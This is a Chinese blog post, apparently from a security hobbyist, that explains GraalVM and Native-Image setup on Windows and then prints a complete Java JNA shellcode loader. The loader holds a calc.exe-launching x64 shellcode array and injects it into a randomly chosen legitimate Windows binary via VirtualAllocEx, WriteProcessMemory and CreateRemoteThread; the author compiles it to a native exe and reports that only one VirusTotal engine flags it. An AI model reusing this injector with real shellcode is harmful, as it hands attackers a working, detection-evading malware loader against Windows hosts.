使用Graalvm加载Shellcode

Graalvm介绍

介绍Graalvm之前,首先就要了解Java编译的JIT和AOT是什么

JIT(Just-in-Time,即时编译)和AOT(Ahead-of-Time,预编译),就像Java常见的是需要什么类,就加载进来编译并解析。而现随着云计算的发展,很多微服务架构都需要提前通过编译转换成原生可执行的,原先的JIT方式在云环境中就存在很多的限制。

AOT带来的好处,可以使Java在虚拟机加载这些二进制文件能直接调用,无需再等编译器运行时再转换成机器码,可以减少性能和内存的消耗。但缺点也很明显,提前编译就意味着对机器的指令要求很高,因此不可以跨平台执行,打破了一次编译到处运行的设计理念,同时也不存在反射等动态调用的能力。

而Graalvm应运而生

 

Oracle在2019年推出的新一代UVM(通用虚拟机),它在HotSpotVM的基础上进行了大量的优化和改进,主要提供了两大特性:

  • Polyglot:多语言支持,你可以在GraalVM中无缝运行多种语言,包括Java、JS、Ruby、Python甚至是Rust。更重要的是可以通过GraalVM的API来实现语言混编 —— 比如在一段Java代码中无缝引用并调用一个Python实现的模块。

  • HighPerformance:高性能,首先它提供了一个高性能的JIT引擎,让Java语言在GraalVM上执行的时候效率更高速度更快 ;其次就是提供了SubstrateVM,通过Graal Compiler你可以将各种支持的语言(包括Java)编译成本地机器代码,获得更好的性能表现。

 

安装Graalvm

https://github.com/graalvm/graalvm-ce-builds/releases地址下载对应版本的安装文件后,解压

需要配置两个系统环境

  • PATH:安装目录下的/bin文件

  • JAVA_HOME:安装目录

设置好之后,运行java -version查看Graalvm是否安装成功

 

再使用Graalvm Update工具下载Native-Image

 

 

而想在Windows上执行Native-Image,首先得安装Visual Studio的环境,用x64 Native Tools Command Prompt命令行来执行

这里我使用Visual Studio 2017的桌面开发环境,安装了MSVC和默认的默认的库类

找到安装目录的\VC\Auxiliary\Build\vcvars64.bat

设置环境变量:

Lib

C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30133\lib\x64
C:\Program Files (x86)\Windows Kits\10\Lib\10.0.19041.0\ucrt\x64
C:\Program Files (x86)\Windows Kits\10\Lib\10.0.19041.0\um\x64

MSVC

C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30133

 

Include
C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30133\include
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\ucrt
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared

 

设置完成后添加如下路径到PATH中

%MSVC%\bin\Hostx64\x64

但是我这里出现了bug,不知道为啥命令提示符执行没有结果,最后是使用VS Code里的Terminal才成功的。

 

可以看到Native-Image编译后的程序运行速度快了近39倍!

 

Java ShellCode Loader

原本是想用rebeyond师傅提出的Shellcode执行方法来弄,后面发现打包成jar包一直报ClassNotFound,把依赖打包进去也不管用,于是就在Github上找到一个ShellCode注入的方法:https://github.com/yzddmr6/Java-Shellcode-Loader

核心原理是用JNA的方法

package executeCode;

import com.sun.jna.Memory;
import com.sun.jna.Native;
import com.sun.jna.Pointer;
import com.sun.jna.platform.win32.Kernel32;
import com.sun.jna.platform.win32.WinBase;
import com.sun.jna.platform.win32.WinDef;
import com.sun.jna.platform.win32.WinNT;
import com.sun.jna.platform.win32.WinNT.HANDLE;
import com.sun.jna.ptr.IntByReference;
import com.sun.jna.win32.StdCallLibrary;
import com.sun.jna.win32.W32APIOptions;

import java.util.Random;

public class Jna {
    static byte shellcode[] = new byte[]   //pop calc.exe x64
            {
                    (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
                    (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
                    (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                    (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                    (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
                    (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                    (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
                    (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
                    (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
                    (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
                    (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
                    (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
                    (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
                    (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
                    (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                    (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
                    (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
                    (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
                    (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
                    (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
                    (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
                    (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
                    (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
                    (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
                    (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
                    (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                    (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
                    (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
                    (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
                    (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
                    (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
                    (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
                    (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
                    (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
                    (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
            };
    
    
    static Kernel32 kernel32;
    static IKernel32 iKernel32;
    public static String[] ProcessArrayx32 = {"C:\\Windows\\SysWOW64\\ARP.exe", "C:\\Windows\\SysWOW64\\at.exe", "C:\\Windows\\SysWOW64\\auditpol.exe", "C:\\Windows\\SysWOW64\\bitsadmin.exe", "C:\\Windows\\SysWOW64\\bootcfg.exe", "C:\\Windows\\SysWOW64\\ByteCodeGenerator.exe", "C:\\Windows\\SysWOW64\\cacls.exe", "C:\\Windows\\SysWOW64\\chcp.com", "C:\\Windows\\SysWOW64\\CheckNetIsolation.exe", "C:\\Windows\\SysWOW64\\chkdsk.exe", "C:\\Windows\\SysWOW64\\choice.exe", "C:\\Windows\\SysWOW64\\cmdkey.exe", "C:\\Windows\\SysWOW64\\comp.exe", "C:\\Windows\\SysWOW64\\diskcomp.com", "C:\\Windows\\SysWOW64\\Dism.exe", "C:\\Windows\\SysWOW64\\esentutl.exe", "C:\\Windows\\SysWOW64\\expand.exe", "C:\\Windows\\SysWOW64\\fc.exe", "C:\\Windows\\SysWOW64\\find.exe", "C:\\Windows\\SysWOW64\\gpresult.exe"};
    public static String[] ProcessArrayx64 = {"C:\\Windows\\System32\\rundll32.exe", "C:\\Windows\\System32\\find.exe", "C:\\Windows\\System32\\notepad.exe", "C:\\Windows\\System32\\ARP.EXE"};

    static {
        kernel32 = (Kernel32) Native.loadLibrary(Kernel32.class, W32APIOptions.UNICODE_OPTIONS);
        iKernel32 = (IKernel32) Native.loadLibrary("kernel32", IKernel32.class);
    }


    public static void main(String[] args) {
        Jna jnaLoader = new Jna();
        boolean is64 = true;
        
        System.out.println("\nShellcode: \n" + shellcode);
        jnaLoader.loadShellCode(shellcode, is64);
    }

    public void loadShellCode(byte[] shellcodeHex, boolean is64) {

        String[] targetProcessArray = null;
        // java是64位且选择注入64位shellcode
        if (System.getProperty("sun.arch.data.model").equals("64") && is64) {
            targetProcessArray = ProcessArrayx64;
        } else { //默认注入32位进程
            targetProcessArray = ProcessArrayx32;
        }
        int j = targetProcessArray.length;
        byte b = 0;
        Random random = new Random();
        int k = b + random.nextInt(j);
        String targetProcess = targetProcessArray[k];
        this.loadShellCode(shellcodeHex, targetProcess);

    }

    public void loadShellCode(byte[] shellcodeByte, String targetProcess) {
        System.out.println("targetProcess: " + targetProcess);
        int shellcodeSize = shellcodeByte.length;
        IntByReference intByReference = new IntByReference(0);
        Memory memory = new Memory((long) shellcodeSize);

        for (int j = 0; j < shellcodeSize; ++j) {
            memory.setByte((long) j, shellcodeByte[j]);
        }

        WinBase.PROCESS_INFORMATION pROCESS_INFORMATION = new WinBase.PROCESS_INFORMATION();
        WinBase.STARTUPINFO sTARTUPINFO = new WinBase.STARTUPINFO();
        sTARTUPINFO.cb = new WinDef.DWORD((long) pROCESS_INFORMATION.size());
        if (kernel32.CreateProcess(targetProcess, (String) null, (WinBase.SECURITY_ATTRIBUTES) null, (WinBase.SECURITY_ATTRIBUTES) null, false, new WinDef.DWORD(4L), (Pointer) null, (String) null, sTARTUPINFO, pROCESS_INFORMATION)) {
            Pointer pointer = iKernel32.VirtualAllocEx(pROCESS_INFORMATION.hProcess, Pointer.createConstant(0), shellcodeSize, 4096, 64);
            iKernel32.WriteProcessMemory(pROCESS_INFORMATION.hProcess, pointer, memory, shellcodeSize, intByReference);
            HANDLE hANDLE = iKernel32.CreateRemoteThread(pROCESS_INFORMATION.hProcess, (Object) null, 0, pointer, 0, 0, (Object) null);
            kernel32.WaitForSingleObject(hANDLE, -1);
        }
    }

    interface IKernel32 extends StdCallLibrary {
        Pointer VirtualAlloc(Pointer var1, int var2, int var3, int var4);

        HANDLE CreateThread(Object var1, int var2, Pointer var3, int var4, int var5, Object var6);

        Pointer VirtualAllocEx(HANDLE var1, Pointer var2, int var3, int var4, int var5);

        HANDLE CreateRemoteThread(HANDLE var1, Object var2, int var3, Pointer var4, int var5, int var6, Object var7);

        boolean WriteProcessMemory(WinNT.HANDLE param1HANDLE, Pointer param1Pointer1, Pointer param1Pointer2, int param1Int, IntByReference param1IntByReference);

        boolean ReadProcessMemory(Pointer var1, int var2, Pointer var3, int var4, IntByReference var5);

        int VirtualQueryEx(Pointer var1, Pointer var2, Pointer var3, int var4);

        Pointer OpenProcess(int var1, boolean var2, int var3);

        Pointer GetCurrentProcess();
    }
}

上述代码中的字节数组是弹出Calc.exe的ShellCode

随着依赖包和Main方法一起打包到Jar包中,并用Native-image将jar包编译成exe

native-image -jar Loader.jar

传到VirusTotal上,只有一个上报异常

 

 

posted @ 2023-01-18 23:54  admin-神风  阅读(215)  评论(0编辑  收藏  举报